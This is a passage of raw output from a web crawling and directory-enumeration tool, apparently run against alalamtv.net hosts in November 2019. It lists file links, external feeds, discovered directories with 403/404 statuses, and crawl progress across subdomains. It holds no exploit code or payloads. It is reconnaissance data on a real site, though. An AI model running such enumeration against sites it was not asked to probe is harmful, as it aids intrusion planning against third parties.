4499 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/24/157462302041468000.jpg
4500 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/24/157462370317972500.jpg
4501 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/24/157462443512912600.png
4502 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/25/157464109495287000.jpg
4503 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/09/07/156784744635028200.jpg
4504 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/07/157311117521097500.jpg
4505 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/08/157322601292723700.jpg
4506 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/23/157448787259547800.jpg
4507 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/23/157449773899767500.jpg
4508 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/23/157449957371306100.jpg
4509 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/23/157451801339501300.jpg
4510 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157455293577557000.jpg
4511 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157455517407968700.jpg
4512 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157457239329953400.jpg
4513 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157457376361838600.jpg
4514 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157457590115028000.jpg
4515 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157457653928322300.jpg
4516 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157457857588518200.jpg
4517 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157458042849351800.jpg
4518 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157458093356703700.jpg
4519 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157458145477272300.jpg
4520 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157458346908343600.jpg
4521 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157458408436621200.jpg
4522 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157458616819880800.jpg
4523 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157458617691638100.jpg
4524 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157458736639529100.jpg
4525 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157458860187051600.jpg
4526 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157459017062072400.jpg
4527 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157459252811065800.jpg
4528 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157459295810916000.jpg
4529 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157459330996092300.jpg
4530 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157459339782965200.jpg
4531 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157459391284664600.jpg
4532 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157459464881380100.jpg
4533 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157459612387092400.jpg
4534 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157460123539432100.jpg
4535 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157460166223207600.jpg
4536 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157460189892467100.jpg
4537 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157460199967440200.jpg
4538 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157460736407091900.jpg
4539 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157461161445065500.jpg
4540 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157461164838473500.jpg
4541 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157461426589026900.jpg
4542 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157461440896861100.jpg
4543 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157461481608547700.jpg
4544 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157461597104322300.jpg
4545 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157461770152547800.jpg
4546 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157461876678409100.jpg
4547 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157461939533131400.jpg
4548 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157462066365232300.jpg
4549 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157462109519281800.jpg
4550 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157462122244904400.jpg
4551 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157462285688286800.jpg
4552 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/157462370317972500.jpg
4553 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/ads/151963289985625100.png
4554 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/ads/151963292592905200.png
4555 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/ads/151963295393188600.png
4556 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/ads/152428776796238600.jpg
4557 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/ads/153278728347101300.png
4558 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/ads/153958585071298700.png
4559 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/ads/155642981350170900.png
4560 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/ads/156852918073616600.png
4561 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/ads/157027953794477200.jpg
4562 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/ads/157427718021295800.png
4563 - http://ns3.alalamtv.net/platform-api.sharethis.com/js/sharethis.js
4564 - http://ns3.alalamtv.net/sites/2/style/css/bootstrap-4.0.0-beta-dist/css/bootstrap.min.css
4565 - http://ns3.alalamtv.net/sites/2/style/css/component.css
4566 - http://ns3.alalamtv.net/sites/2/style/css/default.css
4567 - http://ns3.alalamtv.net/sites/2/style/css/font-awesome.min.css
4568 - http://ns3.alalamtv.net/sites/2/style/css/hover-min.css
4569 - http://ns3.alalamtv.net/sites/2/style/css/ie8.css
4570 - http://ns3.alalamtv.net/sites/2/style/css/slick.css
4571 - http://ns3.alalamtv.net/sites/2/style/css/style2.css?v=128
4572 - http://ns3.alalamtv.net/sites/2/style/image/1.png
4573 - http://ns3.alalamtv.net/sites/2/style/image/10.png
4574 - http://ns3.alalamtv.net/sites/2/style/image/11.png
4575 - http://ns3.alalamtv.net/sites/2/style/image/12.png
4576 - http://ns3.alalamtv.net/sites/2/style/image/13.png
4577 - http://ns3.alalamtv.net/sites/2/style/image/17.png
4578 - http://ns3.alalamtv.net/sites/2/style/image/2.png
4579 - http://ns3.alalamtv.net/sites/2/style/image/4.png
4580 - http://ns3.alalamtv.net/sites/2/style/image/5.png
4581 - http://ns3.alalamtv.net/sites/2/style/image/9.png
4582 - http://ns3.alalamtv.net/sites/2/style/image/911.png
4583 - http://ns3.alalamtv.net/sites/2/style/image/92.png
4584 - http://ns3.alalamtv.net/sites/2/style/image/Tavasol2.png
4585 - http://ns3.alalamtv.net/sites/2/style/image/hashtag.jpg
4586 - http://ns3.alalamtv.net/sites/2/style/image/mahmiat.jpg
4587 - http://ns3.alalamtv.net/sites/2/style/image/menteh.png
4588 - http://ns3.alalamtv.net/sites/2/style/image/moraseloon.jpg
4589 - http://ns3.alalamtv.net/sites/2/style/image/moroccan.jpg
4590 - http://ns3.alalamtv.net/sites/2/style/image/preload.jpg
4591 - http://ns3.alalamtv.net/sites/2/style/image/sahafe.png
4592 - http://ns3.alalamtv.net/sites/2/style/image/signaal.png
4593 - http://ns3.alalamtv.net/sites/2/style/image/stb.png
4594 - http://ns3.alalamtv.net/sites/2/style/image/tavasolnoghte.png
4595 - http://ns3.alalamtv.net/sites/2/style/image/zeyf.png
4596 - http://ns3.alalamtv.net/sites/2/style/js/custom3.js?v=128
4597 - http://ns3.alalamtv.net/sites/2/style/js/html5shiv.min.js
4598 - http://ns3.alalamtv.net/sites/2/style/js/jquery.dlmenu.js
4599 - http://ns3.alalamtv.net/sites/2/style/js/jquery.marquee.min.js
4600 - http://ns3.alalamtv.net/sites/2/style/js/modernizr.custom.js
4601 - http://ns3.alalamtv.net/sites/2/style/js/respond.js
4602 - http://ns3.alalamtv.net/sites/2/style/js/slick.js
4603 - http://ns3.alalamtv.net/style/favicon.ico
4604 - http://ns3.alalamtv.net/style/js/jqueryLib.js
4605 - http://ns3.alalamtv.net/widget/notification/config.js
4606 - http://ns3.alalamtv.net/widget/notification/init.js
4607 Total links to files: 438
4608
4609+ Externals links found:
4610 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/africa
4611 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/america
4612 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/bahrain
4613 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/crawl
4614 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/egypt
4615 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/europe
4616 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/important_news
4617 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/iran
4618 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/iraq
4619 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/latest
4620 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/latest-video
4621 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/lebanon
4622 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/palestine
4623 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/reports
4624 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/saudia
4625 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/syria
4626 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/urgent
4627 - http://add.my.yahoo.com/rss?url=http://www.alalamtv.net/rss/yemen
4628 - http://alalamarabic.tumblr.com/
4629 - http://feeds.feedburner.com/alalamafrica
4630 - http://feeds.feedburner.com/alalamamrica
4631 - http://feeds.feedburner.com/alalamarticles
4632 - http://feeds.feedburner.com/alalambahrain
4633 - http://feeds.feedburner.com/alalamcrawl
4634 - http://feeds.feedburner.com/alalamegypt
4635 - http://feeds.feedburner.com/alalameurope
4636 - http://feeds.feedburner.com/alalamfeatured
4637 - http://feeds.feedburner.com/alalamfeed
4638 - http://feeds.feedburner.com/alalamiran
4639 - http://feeds.feedburner.com/alalamiraq
4640 - http://feeds.feedburner.com/alalamlatest-video
4641 - http://feeds.feedburner.com/alalamlebanon
4642 - http://feeds.feedburner.com/alalampalestine
4643 - http://feeds.feedburner.com/alalamsaudia
4644 - http://feeds.feedburner.com/alalamsyria
4645 - http://feeds.feedburner.com/alalamurgent
4646 - http://feeds.feedburner.com/alalamyemen
4647 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/africa
4648 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/america
4649 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/bahrain
4650 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/crawl
4651 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/egypt
4652 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/europe
4653 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/important_news
4654 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/iraq
4655 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/latest
4656 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/latest-video
4657 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/lebanon
4658 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/palestine
4659 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/reports
4660 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/saudia
4661 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/syria
4662 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/urgent
4663 - http://fusion.google.com/add?feedurl=http://www.alalamtv.net/rss/yemen
4664 - http://www.alalam.ir/iraq
4665 - http://www.alalam.ir/syria
4666 - http://www.alalam.ir/yemen
4667 - http://www.alalamtv.net/rss/201
4668 - http://www.alalamtv.net/rss/222
4669 - http://www.alalamtv.net/rss/254
4670 - http://www.alalamtv.net/rss/276
4671 - http://www.alalamtv.net/rss/308
4672 - http://www.alalamtv.net/rss/309
4673 - http://www.alalamtv.net/rss/331
4674 - http://www.alalamtv.net/rss/42
4675 - http://www.alalamtv.net/rss/43
4676 - http://www.alalamtv.net/rss/44
4677 - http://www.alalamtv.net/rss/45
4678 - http://www.alalamtv.net/rss/46
4679 - http://www.alalamtv.net/rss/47
4680 - http://www.alalamtv.net/rss/51
4681 - http://www.alalamtv.net/rss/59
4682 - http://www.alalamtv.net/rss/africa
4683 - http://www.alalamtv.net/rss/america
4684 - http://www.alalamtv.net/rss/articles
4685 - http://www.alalamtv.net/rss/asia
4686 - http://www.alalamtv.net/rss/bahrain
4687 - http://www.alalamtv.net/rss/crawl
4688 - http://www.alalamtv.net/rss/egypt
4689 - http://www.alalamtv.net/rss/europe
4690 - http://www.alalamtv.net/rss/important_news
4691 - http://www.alalamtv.net/rss/iran
4692 - http://www.alalamtv.net/rss/iraq
4693 - http://www.alalamtv.net/rss/jordan
4694 - http://www.alalamtv.net/rss/latest
4695 - http://www.alalamtv.net/rss/latest-video
4696 - http://www.alalamtv.net/rss/lebanon
4697 - http://www.alalamtv.net/rss/libia
4698 - http://www.alalamtv.net/rss/morocco
4699 - http://www.alalamtv.net/rss/palestine
4700 - http://www.alalamtv.net/rss/saudia
4701 - http://www.alalamtv.net/rss/syria
4702 - http://www.alalamtv.net/rss/tunisia
4703 - http://www.alalamtv.net/rss/turkey
4704 - http://www.alalamtv.net/rss/urgent
4705 - http://www.alalamtv.net/rss/videos
4706 - http://www.alalamtv.net/rss/yemen
4707 - http://www.facebook.com/alalamarabic
4708 - http://youtube.com/c/AlalamNewsChannel
4709 - https://certify.alexametrics.com/atrk.gif?account=4vvKs1DlQy20Y8
4710 - https://plus.google.com/+alalam
4711 - https://t.me/alalamarabic
4712 - https://twitter.com/alalamarabic
4713 - https://www.alalamtv.net/graphic
4714 - https://www.alalamtv.net/kashkol
4715 - https://www.alalamtv.net/marawaykom
4716 - https://www.alalamtv.net/newscommentary
4717 - https://www.alalamtv.net/reports
4718 - https://www.alalamtv.net/todaysissue
4719 - https://www.alalamtv.net/yoghal
4720 - https://www.gstatic.com/firebasejs/5.10.1/firebase-app.js
4721 - https://www.gstatic.com/firebasejs/5.10.1/firebase-messaging.js
4722 - https://www.instagram.com/alalamarabic/
4723 - https://www.youtube.com/c/AlalamNewsChannel
4724 Total external links: 114
4725
4726+ Email addresses found:
4727 Total email address found: 0
4728
4729+ Directories found:
4730 - http://ns3.alalamtv.net/media.alalamtv.net/ (404 Not Found)
4731 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/ (404 Not Found)
4732 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/ (404 Not Found)
4733 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/ (404 Not Found)
4734 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/05/ (404 Not Found)
4735 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/05/22/ (404 Not Found)
4736 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/ (404 Not Found)
4737 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/06/ (404 Not Found)
4738 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/20/ (404 Not Found)
4739 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/30/ (404 Not Found)
4740 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/31/ (404 Not Found)
4741 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/ (404 Not Found)
4742 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/01/ (404 Not Found)
4743 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/02/ (404 Not Found)
4744 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/03/ (404 Not Found)
4745 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/04/ (404 Not Found)
4746 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/05/ (404 Not Found)
4747 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/07/ (404 Not Found)
4748 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/08/ (404 Not Found)
4749 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/09/ (404 Not Found)
4750 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/10/ (404 Not Found)
4751 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/11/ (404 Not Found)
4752 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/12/ (404 Not Found)
4753 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/13/ (404 Not Found)
4754 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/14/ (404 Not Found)
4755 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/15/ (404 Not Found)
4756 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/16/ (404 Not Found)
4757 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/17/ (404 Not Found)
4758 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/18/ (404 Not Found)
4759 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/19/ (404 Not Found)
4760 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/20/ (404 Not Found)
4761 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/21/ (404 Not Found)
4762 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/22/ (404 Not Found)
4763 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/23/ (404 Not Found)
4764 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/24/ (404 Not Found)
4765 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/25/ (404 Not Found)
4766 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/ (404 Not Found)
4767 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/ (404 Not Found)
4768 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/09/ (404 Not Found)
4769 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/09/07/ (404 Not Found)
4770 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/ (404 Not Found)
4771 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/07/ (404 Not Found)
4772 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/08/ (404 Not Found)
4773 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/23/ (404 Not Found)
4774 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/ (404 Not Found)
4775 - http://ns3.alalamtv.net/media.alalamtv.net/uploads/ads/ (404 Not Found)
4776 - http://ns3.alalamtv.net/platform-api.sharethis.com/ (404 Not Found)
4777 - http://ns3.alalamtv.net/platform-api.sharethis.com/js/ (404 Not Found)
4778 - http://ns3.alalamtv.net/sites/ (403 Forbidden)
4779 - http://ns3.alalamtv.net/sites/2/ (403 Forbidden)
4780 - http://ns3.alalamtv.net/sites/2/style/ (403 Forbidden)
4781 - http://ns3.alalamtv.net/sites/2/style/css/ (403 Forbidden)
4782 - http://ns3.alalamtv.net/sites/2/style/css/bootstrap-4.0.0-beta-dist/ (403 Forbidden)
4783 - http://ns3.alalamtv.net/sites/2/style/css/bootstrap-4.0.0-beta-dist/css/ (403 Forbidden)
4784 - http://ns3.alalamtv.net/sites/2/style/image/ (403 Forbidden)
4785 - http://ns3.alalamtv.net/sites/2/style/js/ (403 Forbidden)
4786 - http://ns3.alalamtv.net/style/ (403 Forbidden)
4787 - http://ns3.alalamtv.net/style/js/ (403 Forbidden)
4788 - http://ns3.alalamtv.net/widget/ (403 Forbidden)
4789 - http://ns3.alalamtv.net/widget/notification/ (403 Forbidden)
4790 Total directories: 60
4791
4792+ Directory indexing found:
4793 Total directories with indexing: 0
4794
4795----------------------------------------------------------------------
4796
4797
4798 + URL to crawl: https://cp.alalamtv.net.
4799 + Date: 2019-11-24
4800
4801 + Crawling URL: https://cp.alalamtv.net.:
4802 + Links:
4803 + Crawling https://cp.alalamtv.net.
4804 + Searching for directories...
4805 + Searching open folders...
4806
4807
4808 + URL to crawl: https://www.alalamtv.net.
4809 + Date: 2019-11-24
4810
4811 + Crawling URL: https://www.alalamtv.net.:
4812 + Links:
4813 + Crawling https://www.alalamtv.net.
4814 + Searching for directories...
4815 + Searching open folders...
4816
4817
4818 + URL to crawl: https://ns3.alalamtv.net
4819 + Date: 2019-11-24
4820
4821 + Crawling URL: https://ns3.alalamtv.net:
4822 + Links:
4823 + Crawling https://ns3.alalamtv.net
4824 + Crawling https://ns3.alalamtv.net/rss
4825 + Crawling https://ns3.alalamtv.net/sites/2/style/css/style2.css?v=128 (File! Not crawling it.)
4826 + Crawling https://ns3.alalamtv.net/sites/2/style/js/custom3.js?v=128 (File! Not crawling it.)
4827 + Crawling https://ns3.alalamtv.net/allnews
4828 + Crawling https://ns3.alalamtv.net/islamic-world
4829 + Crawling https://ns3.alalamtv.net/iran
4830 + Crawling https://ns3.alalamtv.net/world
4831 + Crawling https://ns3.alalamtv.net/videos
4832 + Crawling https://ns3.alalamtv.net/reports
4833 + Crawling https://ns3.alalamtv.net/graphic
4834 + Crawling https://ns3.alalamtv.net/programs
4835 + Crawling https://ns3.alalamtv.net/qatar
4836 + Crawling https://ns3.alalamtv.net/saudia
4837 + Crawling https://ns3.alalamtv.net/syria
4838 + Crawling https://ns3.alalamtv.net/yemen
4839 + Crawling https://ns3.alalamtv.net/bahrain
4840 + Crawling https://ns3.alalamtv.net/iraq
4841 + Crawling https://ns3.alalamtv.net/egypt
4842 + Crawling https://ns3.alalamtv.net/palestine
4843 + Crawling https://ns3.alalamtv.net/morocco
4844 + Crawling https://ns3.alalamtv.net/libia
4845 + Crawling https://ns3.alalamtv.net/lebanon
4846 + Crawling https://ns3.alalamtv.net/turkey
4847 + Crawling https://ns3.alalamtv.net/jordan
4848 + Crawling https://ns3.alalamtv.net/tunisia
4849 + Crawling https://ns3.alalamtv.net/Algeria
4850 + Crawling https://ns3.alalamtv.net/Sudan
4851 + Crawling https://ns3.alalamtv.net/emarat
4852 + Crawling https://ns3.alalamtv.net/oman
4853 + Crawling https://ns3.alalamtv.net/afghanistan
4854 + Crawling https://ns3.alalamtv.net/pakistan
4855 + Crawling https://ns3.alalamtv.net/East-Asia
4856 + Crawling https://ns3.alalamtv.net/Asia-Al-Waste
4857 + Crawling https://ns3.alalamtv.net/Mauritania
4858 + Crawling https://ns3.alalamtv.net/kuwait
4859 + Crawling https://ns3.alalamtv.net/Altogether
4860 + Crawling https://ns3.alalamtv.net/iran-politics
4861 + Crawling https://ns3.alalamtv.net/iran-economic
4862 + Crawling https://ns3.alalamtv.net/cultural
4863 + Crawling https://ns3.alalamtv.net/iran-tech
4864 + Crawling https://ns3.alalamtv.net/iran-defense
4865 + Crawling https://ns3.alalamtv.net/asia
4866 + Crawling https://ns3.alalamtv.net/europe
4867 + Crawling https://ns3.alalamtv.net/africa
4868 + Crawling https://ns3.alalamtv.net/america
4869 + Crawling https://ns3.alalamtv.net/todaysissue
4870 + Crawling https://ns3.alalamtv.net/newscommentary
4871 + Crawling https://ns3.alalamtv.net/marawaykom
4872 + Crawling https://ns3.alalamtv.net/kashkol
4873 + Crawling https://ns3.alalamtv.net/yoghal
4874 + Crawling https://ns3.alalamtv.net/infographic
4875 + Searching for directories...
4876 - Found: https://ns3.alalamtv.net/style/
4877 - Found: https://ns3.alalamtv.net/style/js/
4878 - Found: https://ns3.alalamtv.net/sites/
4879 - Found: https://ns3.alalamtv.net/sites/2/
4880 - Found: https://ns3.alalamtv.net/sites/2/style/
4881 - Found: https://ns3.alalamtv.net/sites/2/style/css/
4882 - Found: https://ns3.alalamtv.net/sites/2/style/css/bootstrap-4.0.0-beta-dist/
4883 - Found: https://ns3.alalamtv.net/sites/2/style/css/bootstrap-4.0.0-beta-dist/css/
4884 - Found: https://ns3.alalamtv.net/sites/2/style/js/
4885 - Found: https://ns3.alalamtv.net/media.alalamtv.net/
4886 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/
4887 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/
4888 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/
4889 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/
4890 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/07/
4891 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/24/
4892 - Found: https://ns3.alalamtv.net/sites/2/style/image/
4893 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/23/
4894 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/09/
4895 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/09/07/
4896 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/425x245/2019/11/08/
4897 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/
4898 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/
4899 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/
4900 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/24/
4901 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/23/
4902 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/ads/
4903 - Found: https://ns3.alalamtv.net/widget/
4904 - Found: https://ns3.alalamtv.net/widget/notification/
4905 - Found: https://ns3.alalamtv.net/platform-api.sharethis.com/
4906 - Found: https://ns3.alalamtv.net/platform-api.sharethis.com/js/
4907 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/25/
4908 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/05/
4909 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/05/22/
4910 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/20/
4911 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/19/
4912 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/18/
4913 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/16/
4914 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/15/
4915 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/12/
4916 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/22/
4917 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/10/
4918 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/01/
4919 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/
4920 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/20/
4921 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/10/06/
4922 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/21/
4923 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/17/
4924 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/13/
4925 - Found: https://ns3.alalamtv.net/media.alalamtv.net/uploads/290x185/2019/11/07/
